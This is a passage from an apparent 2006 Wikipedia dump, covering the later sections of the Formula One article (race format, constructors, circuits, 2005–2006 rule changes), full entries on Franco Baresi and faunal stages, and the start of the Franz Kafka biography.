The new 2.4 litre 8 Cylinder Formula is set to be introduced as early as the beginning of 2006 season allowing smaller teams to run rpm-limited V10 3-litre engines.  The rule was added to allow [[Minardi]] to continue to operate.  The buying of Minardi by [[Red Bull]], and the subsequent infusion of money, has caused some anger amongst other teams because of the potential advantage. The effects on the already low viewing figures are to be seen as the sound produced by V8 engines is expected to be different and perhaps not as loud as their V10 counterparts.

== Racing and strategy ==
{{main articles|[[Formula One racing]] and [[Formula One regulations]]}}

A Formula One Grand Prix event spans an entire weekend, beginning with two free practices on Friday, and two free practices on Saturday. [[Third driver]]s are allowed to run on Fridays for teams that finished the preceding season in 5th place or lower. After these practice sessions, a qualifying session consisting of one &quot;flying lap&quot; (whereby the driver is given an empty track to set his time on, with time measured from a rolling start) determines a driver's position on the starting grid for Sunday's race, with the fastest driver during qualifying given &quot;pole position&quot; and the slowest driver starting last.

The race begins with a warm-up formation lap, after which the cars assemble on the starting grid in the order they qualified. If a driver stalls before the parade lap, and the rest of the field passes him, then he must start from the back of the grid. As long as he moves off and at least one car is behind him, he can retake his original position. A racer may also elect to start from pit-lane if he has any last minute problems with the car. If they choose to do this, they must wait for all cars to pass pit-lane before they may begin the race.

A light system above the track then signals the start of the race. Races are a little over 300 [[kilometre]]s (180 [[mile]]s) long and are limited to two hours, though in practice they usually last about ninety minutes. Throughout the race, drivers may make one or more [[pit stop]]s in order to refuel, although they are currently not allowed to change tires unless the change is essential (for instance, due to a puncture).

The [[FIA]] awards points to the top eight drivers and their respective teams of a grand prix on a 10-8-6-5-4-3-2-1 basis (the race winner receives ten points, the first runner-up eight, and so on). The winner of the two annual championships are the driver and the team who have accumulated the most points at the end of the season.

== Drivers and constructors ==
[[Image:Schumacher (Ferrari) in practice at USGP 2005.jpg|thumb|250px|[[Michael Schumacher]] and [[Scuderia Ferrari]] have each won their respective World Championships a record number of times.]]
{{See also|List of Formula One constructors|List of Formula One drivers|List of Formula One people|List of Formula One World Drivers' Champions|List of Formula One World Constructors' Champions}}

Formula One teams must build the chassis in which they compete, and consequently the terms &quot;team&quot; and &quot;constructor&quot; are more or less interchangeable. This requirement distinguishes the sport from series such as [[Indy Racing League|IRL]], [[Champ Cars]], and [[NASCAR]], which allow teams to purchase chassis, and &quot;[[spec series]]&quot; such as [[GP2 Series|GP2]], which require all cars be kept to an identical specification. In its early years, Formula One teams sometimes also built their engines, though this became less common with the increased involvement of major car manufacturers such as [[BMW]], [[DaimlerChrysler]], [[Renault]], [[Toyota]], and [[Honda]], whose large budgets rendered privately built engines less competitive (and redundant).

Early manufacturer involvement came in the form of a &quot;factory team&quot; (that is, one owned and staffed by a major car company), such as those of [[Alfa Romeo]], [[Ferrari]] ([[FIAT]]) or [[Renault Sport|Renault]]. Companies such as [[Coventry Climax|Climax]], [[Repco]], [[Cosworth]], [[Hart (racing)|Hart]], [[Judd (engine)|Judd]] and [[Supertec]], which had no direct team affiliation, often sold engines to teams who could not afford to manufacture them.  As the manufacturers' deep pockets and engineering ability took over, these collaborations largely died out in favour of the present system in which a manufacturer supports a single team.

After having virtually disappeared by the early 1980s, factory teams made a comeback in the 1990s and 2000s, with [[Toyota]], [[Ferrari]] ([[FIAT]]), and [[Renault]] owning their own teams and [[BMW]] following suit by purchasing the former [[Sauber]] team. [[Honda]] has also recently gained control over what was once [[British American Racing]]. Others, such as [[DaimlerChrysler]], provide engines and sponsorship for privately owned teams in return for prominent advertisement on their team clothing and car livery. The only remaining commercial engine manufacturer is [[Cosworth]].

The sport's [[1950 Formula One season|1950 debut season]] saw eighteen teams compete, but due to high costs many dropped out quickly. In fact, such was the scarcity of competitive cars for much of the first decade of Formula One that [[Formula Two]] cars were admitted to fill the grids. [[Scuderia Ferrari|Ferrari]] is the only still-active team which competed in 1950, and [[as of 2005]] only ten teams remain on the grid, each fielding two cars. Although teams rarely disclose information about their budgets, it is estimated that they range from US$75 million to US$500 million each.

Entering a new team in the Formula One World Championship requires a £25 million (about US$50 million) up-front payment to the [[Fédération Internationale de l'Automobile|FIA]], which is then repaid to the team over the course of the season. As a consequence, constructors desiring to enter Formula One often prefer to buy an existing team: [[British American Racing|B.A.R.]]'s purchase of [[Tyrrell Racing|Tyrrell]] and [[Midland F1|Midland]]'s purchase of [[Jordan Grand Prix|Jordan]] allowed both of these teams to sidestep the large deposit.

Each car is assigned a number. The previous season's World Drivers' Champion is designated number 1, with his teammate given number 2. Numbers are then assigned according to each team's position in the previous season's World Constructors' Championship. There have been exceptions to this rule, such as in 1993 and 1994, when the current World Drivers' Champion was no longer competing in Formula One. In this case the drivers for the team of the previous year's champion are given numbers 0 and 2. The number [[13 (number)|13]] has not been used since 1974, before which it was occasionally assigned at the discretion of individual race organizers. Before 1996, only the world championship winning driver and his team generally swapped numbers with the previous champion – the remainder held their numbers from prior years, as they had been originally set at the start of the 1974 season. For many years, for example, [[Ferrari]] held numbers 27 &amp; 28, regardless of their finishing position in the world championship.  As privateer teams quickly folded in the early 1990s, numbers were frequently shuffled around, until the current system was adopted in 1996.

[[Michael Schumacher]] holds the record for having won the most Drivers' Championships (seven) and [[Scuderia Ferrari|Ferrari]] holds the record for having won the most Constructors' Championships (fourteen). [[Jochen Rindt]] has the distinction of having been the only posthumous World Champion.

== Grands Prix ==
[[Image:Formula one.jpg|thumb|200px|Cars wind through the infield section of the [[Indianapolis Motor Speedway]] at the [[2003 United States Grand Prix|2003]] [[United States Grand Prix]]]]
{{See also|List of Formula One Grands Prix}}

The number of Grands Prix held in a season has varied over the years. Only seven races comprised the inaugural 1950 season; over the years the calendar has more than doubled in size. Though the number of races had stayed at sixteen or seventeen since the [[1980s]], it reached nineteen in 2005.

Six of the original seven races took place in Europe; the only non-European race that counted towards the World Championship in 1950 was the [[Indianapolis 500]], which, due to lack of participation by F1 teams, since it required cars with different specifications from the other races, was later replaced by the [[United States Grand Prix]]. The F1 championship gradually expanded to other non-European countries as well. Argentina hosted the first [[South America]]n grand prix in [[1953 Argentine Grand Prix|1953]], and [[Morocco]] hosted the first [[Africa]]n World Championship race in 1958. Asia ([[Japan]] in 1976) and [[Oceania]] ([[Australia]] in 1985) followed. The current nineteen races are spread over the continents of [[Europe]], [[Asia]], [[Oceania]], [[North America]], and [[South America]].

Traditionally, each nation has hosted a single grand prix that carries the name of the country. If a single country hosts multiple grands prix in a year, they receive different names. For example, every year two grands prix take place in [[Germany]], one of which is known as the [[European Grand Prix]].

The grands prix, some of which have a history that predates the Formula One World Championship, are not always held on the same circuit every year. The [[British Grand Prix]], for example, though held every year since 1950, alternated between [[Brands Hatch]] and [[Silverstone]] from 1963 to 1986. The only other race to have been included in every World Championship season is the [[Italian Grand Prix]]. It has always taken place at [[Autodromo Nazionale Monza|Monza]], with one exception in 1980 when it took place at [[Autodromo Enzo e Dino Ferrari|Imola]] (which now hosts the [[San Marino Grand Prix]]).

One of the newest races on the Grand Prix, held in Bahrain, represents Formula One's first penetration into the Middle East with a high tech purpose-built desert track. The [[Bahrain Grand Prix]], along with other new races in China and Turkey, present new opportunities for the growth and evolution of the Formula One Grand Prix franchise whilst new facilities also raise the bar for other Formula One racing venues around the world.

== Circuits ==
[[Image:Monza aerial photo.jpg|thumb|250px|The [[Autodromo Nazionale Monza]], home to the [[Italian Grand Prix]], is one of the oldest-used circuits in Formula One.]]
[[Image:Ims aerial.jpg|thumb|250px|[[Indianapolis Motor Speedway]], venue for the [[United States Grand Prix]]]]
[[Image:F1 grand prix world map.PNG|thumb|250px|Countries which have had Formula One circuits]]
{{See also|List of Formula One circuits}}

A typical circuit usually features a stretch of straight road on which the starting grid is situated. The ''pit lane'', where the drivers stop for fuel during the race, and where the teams work on the cars before the race, is normally located next to the starting grid. The layout of the rest of the circuit varies widely, although in most cases the circuit runs in a clockwise direction. Those few circuits that run anticlockwise (and therefore have predominantly left handed corners) can cause drivers neck problems due to the enormous lateral forces generated by F1 cars pulling their heads in the opposite direction to normal. Many corners have become well known in their own right, such as the high-speed ''Eau Rouge'' at [[Spa-Francorchamps]], and before the addition of chicanes to tame it, the Tamburello corner at [[Imola]] and the Curva Grande at [[Monza]], as well as in recent years the thirteenth turn at [[Indianapolis Motor Speedway|Indianapolis]] (road course configuration), known as the fastest corner in the sport.  Also particularly lamented are the circuits at [[Zandvoort]] in the [[Netherlands]] and [[Kyalami]] in [[South Africa]], neither of which are now used by F1.

Most of the circuits currently in use are specially constructed for competition. The only real street circuit is the [[Circuit de Monaco]], used for the [[Monaco Grand Prix]], although races in other urban locations come and go ([[Las Vegas]] and [[Detroit]], for example) and proposals for such races are often discussed – most recently for [[London]]. Several other circuits are also completely or partially laid out on public roads, such as [[Spa-Francorchamps]]. The glamour and history of the Monaco race are the primary reasons why the circuit is still in use, since it is thought not to meet the strict safety requirements imposed on other tracks. Three-time World champion [[Nelson Piquet]] famously described racing in Monaco as &quot;riding a bicycle around your living room.&quot;

Circuit design to protect the safety of drivers is becoming increasingly sophisticated, as exemplified by the new track in [[Bahrain]], designed – like most of F1's new circuits – by [[Hermann Tilke]]. Whereas in the 1950s a driver was lucky to find a strategically placed bale of straw to absorb an impact, modern Formula One circuits feature large run-off areas, gravel traps and tire barriers to reduce the risk of injury in crashes. This is an ongoing task – after the deaths of [[Ayrton Senna]] and [[Roland Ratzenberger]] at [[Imola]] during the 1994 season, the [[FIA]] mandated further changes to circuits. These were mostly aimed at better matching the speed of a car with both the available space to slow down in before reaching a barrier and the ability of those barriers to safely absorb the energy of a crash.  An ongoing complaint of long time F1 fans is the emasculation of the world's greatest circuits in order to satisfy sometimes arbitrary demands from the FIA. Whilst circuit safety is of prime importance, this can often be achieved without the reduction of the modern circuit to parade route status.

== The future of Formula One ==
[[Image:Tyre carts on grid at USGP 2005.jpg|thumb|250px|Recent and proposed rule changes have attempted to reverse the trend of &quot;tyre wars&quot;, which critics believe have shifted the competition from drivers and teams to tyres.]]
{{Main|Future of Formula One}}

Formula One went through a difficult period in the early 2000s. Viewing figures dropped, and fans expressed their loss of interest due to the dominance of [[Michael Schumacher]] and [[Scuderia Ferrari|Ferrari]]. However, viewing figures are seeing some signs of recovery due to the varied 2005 season, with the Canadian Grand Prix attracting the third largest global TV audience of any sporting event in 2005, behind only the Super Bowl and the UEFA Champions League final.{{ref|Canada_view_fig2005}}

At present, the [[FIA]] has been taxed with the responsibility of making rules to combat the spiralling costs which affect the smaller teams and to ensure that the sport remains as safe as possible. The sport's rapid expansion into new areas of the globe also leaves some question as to which races will be cut.

=== Venue changes ===
In the interest of making the sport truer to its designation as a World Championship, [[Formula One Management|FOM]] president [[Bernie Ecclestone]] has initiated and organized a number of Grands Prix in new countries and continues to discuss new future races. [[As of 2005]], this expansion has resulted in the disappearance of only one race, the [[Austrian Grand Prix]], which was last held in [[2003 Austrian Grand Prix|2003]]; however, several teams have expressed their preference for a shorter calendar{{ref|Shorter_calendar}}, and the future of such races as the [[British Grand Prix|British]], [[European Grand Prix|European]] and [[San Marino Grand Prix|San Marino]] Grands Prix has recently fallen into doubt.

The inaugural [[Turkish Grand Prix]] took place in 2005 in [[Istanbul Racing Circuit|Istanbul Park]], and Ecclestone has asserted publicly that F1 will return to [[South Africa]] within five years.{{ref|South_Africa}} He has also expressed interest in a Russian Grand Prix in [[Moscow]] or [[St Petersburg]] in the near future.{{ref|Russia}} The [[European Union]]'s ratification of laws prohibiting [[tobacco]] advertising went into effect on [[July 31]], [[2005]], providing another incentive for the heavily tobacco-sponsored sport to find venues outside of Europe.{{ref|EU_tobacco}}

The future of the [[United States Grand Prix]] at Indianapolis Motor Speedway is also in doubt after only six cars started the [[2005 United States Grand Prix|2005 race]] due to concerns about the safety of the supplied [[Michelin]] tyres. The US Grand Prix has been officially scheduled to occur again at the Indianapolis Motor Speedway on [[July 2]], [[2006]].

Several of the new circuits in F1, especially those designed by Herman Tilke, have been criticized as lacking the &quot;flow&quot; of such classics as Spa-Francorchamps and Imola. His redesign of the Hockenheim circuit in Germany for example, while providing more capacity for grandstands and eliminating extremely long and dangerous straights, has been frowned upon by many who argue that part of the character of the Hockenheim circuits were the long and blinding straights into the Black Forest. These newer circuits, however are generally agreed upon to meet the safety standards of modern Formula One better than the older ones.

=== Rule changes ===
In the interests of safety and competition due to spending, the FIA instituted a number of rule changes at the start of the [[2005 Formula One season|2005 season]]. New tyre restrictions, multi-race engines, and reductions on downforce took effect. These two issues, safety and cost, are paramount in all rule-change discussions, and the FIA has made public its intention to continue to modify the rules with these goals in mind.

The most significant of the new rules to save money required an engine to be used for two consecutive races.  Drivers had the same unit for practice, qualifying, and race day as in previous years, and a team changing out an engine for any reason was penalized half the grid (10 spots) on race day.  This reduced the number of engines each team produced by a significant amount, and the subsequent man hours required in constructing and maintaining the most expensive part of the car.  The switch to a single set of tires went into effect: one set was to be used for qualifying, then set aside as spares, while only one set was used for the entire race, along with wets and intermediates for rain when allowed by officials, and spares for punctures only.  After Raikkonen destroyed his Mercedes due to a flat spot, the rule was modified to allow dangerous non-puncture officially inspected changes in the interest of safety.  While tire rules usually are implemented primarily for safety and/or cost reduction, some detractors felt that this rule was an attempt to mix the grid up due to Ferrari/Schumacher's dominance on Bridgestones over the past five years; Ferrari did, in fact, lose out as Michelin found itself better able to cope with the rule changes.  The new downforce rules were continuations of the previous years to decrease overall downforce and ease breakaway speed safety, while at the same time optimizing advertising space on  wings and body.

New qualifying rules were enacted as well.  The then current qualifying format, a single flying lap on race fuel, replaced one which was used for the first part of the 2005 season (until the [[2005 European Grand Prix]]) which involved two separate sessions, one on Saturday and a second on Sunday morning, with the starting grid drawn up according to the fastest aggregate time of each driver. This was ditched after complaints from spectators, who felt that the Saturday session was meaningless, and broadcasters, who did not want to broadcast so much Formula One on a Sunday. Both the teams and the drivers are still unhappy with the qualifying system, however, and several alternative formats have been suggested for use from 2006 onwards.{{ref|quali_proposal}}

Beginning with the 2006 season, engine displacement will be decreased, a 2.4L [[V8]] replacing the current 3.0L [[V10]]. However, some teams will be allowed to continue using the V10 with a rev limiter in order to cut costs. In the long run, the FIA intends to introduce greater restrictions on testing and the introduction of standardised electronic units and tires.

Over the coming years, radical changes will be made to the rules. In [[2005-10-05]], the FIA proposal of enhancing overtaking won the support of the teams by agreeing about the new rear wing concept -that would eliminate the current single rear wing and replace it with two box-like wings, one behind each rear wheel. These changes are due in [[2007]]. [http://www.bloomberg.com/apps/news?pid=10000102&amp;sid=aT4_0uPwjwvI&amp;refer=uk]

Also, in [[2005-10-24]], the Formula One commission decided to switch the competition to the &quot;KO&quot; system. All cars are permitted on the track. At the end of the first 15-minute period the slowest six cars can take no further part in qualifying. These cars will make up the last six grid positions in the order of their times, the fastest occupying 17th position. The times for the fifteen remaining cars are reset for the next session. At the end of the second 15-minute period the slowest six cars can take no further part in qualifying. These cars will make up the grid in positions eleven to sixteen in the order of their times, the fastest occupying 11th position. The times for the ten remaining cars will be reset for the next session. For the final period, lasting 20 minutes, the cars will be arranged on the grid in positions one to ten in the order of their times, the fastest occupying pole position.In the first two 15-minute sessions, cars may run any fuel load and drivers knocked out after those sessions may refuel ahead of the race. However, the top-ten drivers must begin the final 20-minute session with the fuel load on which they plan to start the race. They will be weighed before they leave the pits, and whatever fuel they use in the 20 minutes may be replaced at the end of the session. These changes will be applicable for the 2006 season. [http://cars.grandprix.com.au/news/fagp_news/formula_one_qualifying_2006_it_s_a_knock_out]

Also, the 2006 season will see the return of the tyre changes during the pitstops. The thinking behind this is that the reduced engine size will offset any performance gain. Drivers also have access to slightly more tyres than in 2005 - seven sets of dry-weather, four sets of wet-weather and three sets of extreme-weather. Drivers must make a final choice of dry-weather compound ahead of qualifying.

=== Small teams ===
The [[Ford Motor Company]]'s decision to pull out of Formula One at the end of 2004 exposed the vulnerabilities of some small teams. [[Jaguar Racing]] was sold to [[Red Bull]] and is now known as [[Red Bull Racing]].

[[Jordan Grand Prix|Jordan]] and [[Minardi]] both relied on Ford's [[Cosworth]] engines. Jordan then signed deal to use [[Toyota]] engines, while Minardi continued to use Cosworth engines under Cosworth's new owners.

Jordan was bought by Russo-Canadian company Midland in 2005 and from 2006 will be rebadged as [[Midland F1]]. In June 2005, BMW bought a majority stake in [[Sauber]] and intends to run the team as a factory entry in 2006. The Williams team will cease their partnership with BMW as a result, instead opting to run Cosworth engines for 2006.  Arguably, the final small team disappeared with the September 2005 purchase of Minardi by Red Bull.  In 2006, the Faenza-based team will be run as a junior team named [[Scuderia Toro Rosso]] (initially known as Squadra Toro Rosso), although technically the team is a separate entity to Red Bull Racing.

BAR-Honda's former driver Takuma Sato has found a home with new team [[Super Aguri F1]] (headed by Japanese former F1 racer Aguri Suzuki). The team will start the year with 2002 [[Arrows]] chassis bought from former Minardi chief [[Paul Stoddart]] powered by Honda engines. The team plans to introduce a new car later in the season.

== Notes ==

# {{note|Minardi}} [http://www.grandprix.com/ns/ns15578.html Red Bull confirms Minardi purchase]
# {{note|EJ_privateers}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=33854 Jordan: Privateer era is over]
# {{note|Schumacher_record}} [http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/2141834.stm Schumacher makes history]
# {{note|team_orders}} [http://www.sportstaronnet.com/tss2552/stories/20021228004509100.htm It was Ferrari all the way]
# {{note|Canada_view_fig2005}} [http://www.itv-f1.com/Feature.aspx?Type=General&amp;PO_ID=34763 F1 third biggest global TV draw] referenced from ITV-F1, published [[31 December]] [[2005]]
# {{note|tyre_scandal}} [http://news.bbc.co.uk/sport2/hi/motorsport/formula_one/4109292.stm Seven teams boycott US Grand Prix]
# {{note|Shorter_calendar}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=31568 Sauber: 19 races is too many]
# {{note|Mexico}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=32086 Mexican GP back on track]
# {{note|South_Africa}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=31507 Bernie in South Africa pledge]
# {{note|Russia}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=32153 Bernie promises Russian race]
# {{note|EU_tobacco}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=32007 Confusion over tobacco laws]
# {{note|Bernie_USGP}}  [http://www.itv-f1.com/News_Article.aspx?PO_ID=33729 Bernie confident of Indy future]
# {{note|quali_proposal}} [http://www.itv-f1.com/News_Article.aspx?PO_ID=33754 Drivers suggest qualifying plan]
# {{note|Super_Aguri}} [http://news.bbc.co.uk/sport2/hi/motorsport/formula_one/4530158.stm F1 gives Super Aguri green light] from BBC Sport, published [[21 December]] [[2005]]
# {{note|Arrows}} [http://news.bbc.co.uk/sport2/hi/motorsport/formula_one/4440756.stm Super Aguri could run Arrows cars] from BBC Sport, published [[23 November]] [[2005]]

== References ==

*Arron, Simon &amp; Hughes, Mark (2003). ''[http://www.amazon.com/exec/obidos/redirect?link_code=ur2&amp;camp=1789&amp;tag=averyws-20&amp;creative=9325&amp;path=ASIN/0760316880 The Complete Book of Formula One]''. Motorbooks International.
* ''Bernie confident of Indy future'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=33729 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* ''Bernie in South Africa pledge'' (2004). [http://www.itv-f1.com/News_Article.aspx?PO_ID=31507 itv.com/f1]. Retrieved [[1 September]] [[2005]]. 
* ''Bernie promises Russian race'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=32153 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* ''Confusion over tobacco laws'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=32007 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* ''Drivers suggest qualifying plan'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=33754 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* ''FIA Archive.'' (2004). [http://www.fia.com/archive/index_1024.html Federation Internationale de l'Automobile]. Retrieved [[25 October]] [[2004]].
* ''Formula One Regulations.'' (2004). [http://www.fia.com/sport/Regulations/f1regs.html Federation Internationale de l'Automobile]. Retrieved [[23 October]] [[2004]].
* Gross, Nigel et al (1999). Grand Prix Motor Racing. In, ''100 Years of Change: Speed and Power'' (pp. 55-84). Parragon.
* ''Insight.'' (2004). [http://www.formula1.com/insight/ The Official Formula 1 Website]. Retrieved [[25 October]] [[2004]].
* Jones, Bruce (1997). ''The Ultimate Encyclopedia of Formula One''. Hodder &amp; Stoughton.
* Jones, Bruce (1998). ''Formula One: The Complete Stats and Records of Grand Prix Racing''. Parragon.
* Jones, Bruce (2003). ''[http://www.amazon.com/exec/obidos/redirect?link_code=ur2&amp;camp=1789&amp;tag=averyws-20&amp;creative=9325&amp;path=tg/detail/-/1842228137 The Official ITV Sport Guide: Formula One Grand Prix 2003]''. Carlton.  Includes foreword by Martin Brundle.
* ''Jordan: Privateer era is over'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=33854 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* Jones, Bruce (2005). ''[http://www.amazon.com/exec/obidos/redirect?link_code=ur2&amp;camp=1789&amp;tag=averyws-20&amp;creative=9325&amp;path=tg/detail/-/1844425088 The Guide to 2005 FIA Formula One World Championship : The World's Bestselling Grand Prix Guide]''. Carlton.
* ''Mexican GP back on track'' (2005). [http://www.itv-f1.com/News_Article.aspx?PO_ID=32086 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* Rajan, Sanjay. (Dec. 28, 2002). [http://www.sportstaronnet.com/tss2552/stories/20021228004509100.htm It was Ferrari all the way]. ''The Sportstar''.
* ''Sauber: 19 races is too many'' (2004). [http://www.itv-f1.com/News_Article.aspx?PO_ID=31568 itv.com/f1]. Retrieved [[1 September]] [[2005]].
* ''Schumacher makes history'' (2002). [http://news.bbc.co.uk/sport1/hi/motorsport/formula_one/2141834.stm BBC Sport]. Retrieved [[1 September]] [[2005]].
* [http://www.itv-f1.com/News_Article.aspx?PO_ID=34780 F1 third biggest global TV draw]. Referenced [[5 January]] [[2006]].
* [http://news.bbc.co.uk/sport2/hi/motorsport/formula_one/4109292.stm Seven teams boycott US Grand Prix]. ([[June 19]], [[2005]]). ''BBC Sport''.
* Tremayne, David &amp; Hughes, Mark (1999). ''The Concise Encyclopedia of Formula One''. Parragon.

{{Formula One teams}}

== See also ==
* [[Formula One regulations]]
* [[Grand Prix Legends]] (video game, 1998)
* [[Formula One (game)]]
* [[List of international Formula One colors]]
* [[List of racing drivers]]
* [[F1 Racing]] (magazine)

== External links ==
{{commons|Formula One}}
; Official sites
* [http://www.formula1.com Formula1.com] &amp;mdash; The official site of [[Bernie Ecclestone]]'s [[Formula One Management]]; contains schedules, statistics, race results, live timing during each race, and some news
* [http://www.fia.com/sport/Regulations/f1regs.html Current regulations] from the [http://www.fia.com/ FIA website]

; News and reference
* [http://www.autosport.com autosport.com] — Subscription motorsport news, articles and analysis. Formerly known as AtlasF1
* [http://www.f1db.de/ F1DB] — F1 database and statistics
* [http://f1.racing-live.com/f1/en/index.html F1-Live] - News, results, discussion forum, Internet TV coverage
* [http://www.Forumula1.co.uk/ Forumula1.co.uk] — F1 Discussion Forum
* [http://www.formula1review.com/ Formula 1 Review] — F1 news, results, statistics, features, and discussion at [http://www.worldracingforum.com/ World Racing Forum]
* [http://www.formula1home.com/ Formula1Home] - News, feature articles, and forum
* [http://www.grandprix.com GrandPrix.com] — F1 news and a Grand Prix encyclopedia
* [http://www.itv-f1.com ITV.com/f1] — News, pictures, and commentary from [[ITV]], F1's British broadcasters; also from [[Matt Bishop]] and [[F1 Racing]] magazine
* [http://www.mergetek.com/grabmap.aspx?CategoryID=33 mergetek.com] - Aerial Views of Formula 1 (F1) Tracks via Google Maps  
* [http://www.pitpass.com/ Pitpass] — News, results, analysis, discussion forum

; History
* [http://www.4mula1.ro Formula 1 History] — All results since 1950, articles, statistics, compare drivers, preview for next races ...
* [http://www.marinadiospedaletti.it Ospedaletti Circuit] — Ospedaletti Circuit - GP Sanremo - 
; IRC
* [irc://irc.quakenet.org/f1 #F1] — Formula 1 support channel in [[QuakeNet]] [[Internet Relay Chat|IRC]] Network. You can find from there GP weekend commentary, the newest news, pics, gossips and much more.

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    </revision>
  </page>
  <page>
    <title>Franco Baresi</title>
    <id>10855</id>
    <revision>
      <id>40340478</id>
      <timestamp>2006-02-19T22:48:38Z</timestamp>
      <contributor>
        <username>Attilios</username>
        <id>428795</id>
      </contributor>
      <text xml:space="preserve">[[Image:Baresi.jpg|thumb|180px|Baresi (right), marking [[Diego Maradona]] at the 1990 World Cup.]]
'''Franco Baresi''' (born [[May 8]], [[1960]] in [[Travagliato]], [[province of Brescia]]) is an [[Italy|Italian]] youth team [[Coach (sport)|coach]] and former [[Football (soccer)|football]] player with [[A.C. Milan]].

He is regarded as one of the finest [[Football (soccer) positions#Sweeper|sweepers]] in history. He is also one of the few players who has spent his [[One club man|entire career]] at one club, A.C. Milan, for whom he played 444 games, scoring 12 goals. 

He retired from playing in [[1996]] aged 36. With Milan, Baresi won six ''scudetti'' ([[Serie A]] league titles) and three [[UEFA Champions League|European Cups]]. He mentored defensive partner [[Paolo Maldini]] in his later years, whose career has followed a similar path. His #6 jersey was retired by the club, a rarity for Italian soccer. After a short spell as Director Football at [[Fulham F.C.|Fulham]], Baresi retuened to Milan as a youth team coach in [[2002]].

Internationally, Baresi played in two [[Football World Cup|World Cups]] for [[Italy national football team|Italy]]. After missing out on the [[Football World Cup 1982|1982]] and [[Football World Cup 1982|1986]] competitions, he finally made his World Cup debut in [[Football World Cup 1990|1990]] when Italy were the hosts. The Azzurri lost to [[Argentina national football team|Argentina]] in the semi-finals, but went on to beat [[England national football team|England]] in the third place play off. 

In [[Football World Cup 1994|1994]] he was one step closer to lifting the trophy, losing to [[Brazil national football team|Brazil]] in the final. He missed a penalty in the [[Penalty shootout (football)|shootout]] after the 0-0 full-time score. He was also a member of the Italian squad that finished fourth at the [[1984 Summer Olympics]] in [[Los Angeles, California]].

His brother [[Giuseppe Baresi]] played for bitter rivals [[Internazionale Milano F.C.|Internazionale]].

[[Category:1960 births|Baresi, Franco]]
[[Category:Living people|Baresi, Franco]]
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  </page>
  <page>
    <title>Famous quotations</title>
    <id>10856</id>
    <revision>
      <id>15908647</id>
      <timestamp>2004-05-20T14:14:13Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <comment>#REDIRECT [[quotation]]</comment>
      <text xml:space="preserve">#REDIRECT [[quotation]]</text>
    </revision>
  </page>
  <page>
    <title>Faunal stage</title>
    <id>10857</id>
    <revision>
      <id>32796331</id>
      <timestamp>2005-12-26T20:51:52Z</timestamp>
      <contributor>
        <ip>88.106.251.90</ip>
      </contributor>
      <comment>form</comment>
      <text xml:space="preserve">'''Faunal stages''' are a subdivision of [[geologic timescale|geologic time]] used primarily by [[paleontologist]]s who study [[fossil]]s rather than by [[geologist]]s who study rock formations.  Typically, a faunal stage will consist of a series of rocks that contain similar fossils.  There will be one or more [[index fossil]]s that are usually common, easily recognized, and limited to a single, or at most a few, stages.  Thus, for example, a North American paleontologist finding fragments of the [[trilobite]] ''Olenellus'' would identify the beds as being from the [[Waucoban Stage]] whereas fragments of a later trilobite such as ''Elrathia'' would identify the stage as [[Albertan Stage|Albertan]].

Faunal stages were very important in the 19th and early 20th Century as they were the major tool available for dating rock beds until the development of [[seismology]] and [[radioactive dating]] in the second half of the 20th Century.

Faunal stages are regional.  They often include many formations of differing rock types that were being laid down in different environments at the same time.  In recent years, regional and global correlations of rock sequences have become relatively certain and there is less need for faunal labels to refine the age of formations.  There has been a tendency to use European and, to a lesser extent, Asian, stage names for the same time period world wide even though the faunas in other regions may have little in common with the stage as originally defined.

==See also==
*[[Body form]]

[[Category:Geologic time scale]]

[[el:Φάση πανίδας]]</text>
    </revision>
  </page>
  <page>
    <title>Franz Kafka</title>
    <id>10858</id>
    <revision>
      <id>42085685</id>
      <timestamp>2006-03-03T19:00:32Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/205.222.248.184|205.222.248.184]] ([[User talk:205.222.248.184|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{Infobox_Biography 
|subject_name=Franz Kafka 
|image_name=Kafka_aprox1917_small.jpg 
|image_caption= 
|date_of_birth=[[July 3]], [[1883]] 
|place_of_birth=[[Prague]], [[Austria-Hungary]] (today in the [[Czech Republic]]) 
|dead=dead
|date_of_death=[[June 3]], [[1924]] 
|place_of_death=[[Vienna]], [[Austria]]}}

:''&quot;Kafka&quot; redirects here. For other uses, see [[Kafka (disambiguation)]]''.
'''Franz Kafka''' ([[July 3]], [[1883]] &amp;ndash; [[June 3]], [[1924]]) was one of the major [[German-language]] [[novel|novelists]] and [[short story]] writers of the [[20th century]], most of whose works were published posthumously. He was born in [[Prague]] of [[Ashkenazi Jews|Ashkenazi]] [[Jew]]ish descent; his unique body of writing continues to draw interest from critics and readers alike.

== Life ==
'''Kafka''' was born [[July 3]], [[1883]], into a middle-class, [[German language|German-speaking]] [[Judaism|Jewish]] family in [[Prague]], the capital of [[Bohemia]], a kingdom that was then a part of the Dual Monarchy of [[Austria-Hungary]]. His father, Hermann Kafka ([[1852]]-[[1931]]), came to Prague from [[Osek]], a small  Czech-speaking Jewish village near [[Písek]] in southern Bohemia. After working as a traveling sales representative, he had established himself as an independent retailer of men's and women's fancy goods and accessories. Kafka's mother, Julie Kafka, born Löwy ([[1856]]-[[1934]]), was the daughter of a prosperous brewer in [[Podebrady]] and was better educated than her husband. Kafka had two brothers, Georg and Heinrich, each of whom died before reaching the age of two (before Kafka was six), and three younger sisters, Elli (1889–1941), Valli (1890–1942) and Ottla (1892–1943), all of whom died in [[Nazi concentration camps]]. 

